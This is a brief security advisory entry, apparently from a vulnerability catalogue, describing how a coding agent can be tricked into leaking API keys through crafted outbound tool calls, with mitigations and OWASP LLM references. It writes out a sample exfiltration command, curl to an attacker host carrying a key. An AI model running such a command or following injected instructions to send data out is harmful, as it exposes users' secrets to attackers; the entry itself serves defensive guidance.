Report #11801

[agent\_craft] Agent is tricked into exfiltrating sensitive data \(like API keys\) via encoded tool calls

Sanitize and restrict outbound tool calls. Never pass sensitive environment variables or file contents into external network requests unless explicitly part of the user's verified task. Implement allow-lists for outbound domains in the agent's execution environment.

Journey Context:
OWASP LLM Top 10 LLM02 \(Sensitive Information Disclosure\) and LLM06 \(Sensitive Data Leakage\). Coding agents with internet access or curl capabilities are highly susceptible to data exfiltration via crafted URLs \(e.g., curl attacker.com?data=KEY\). The agent must treat outbound data flows with the same scrutiny as inbound instructions.
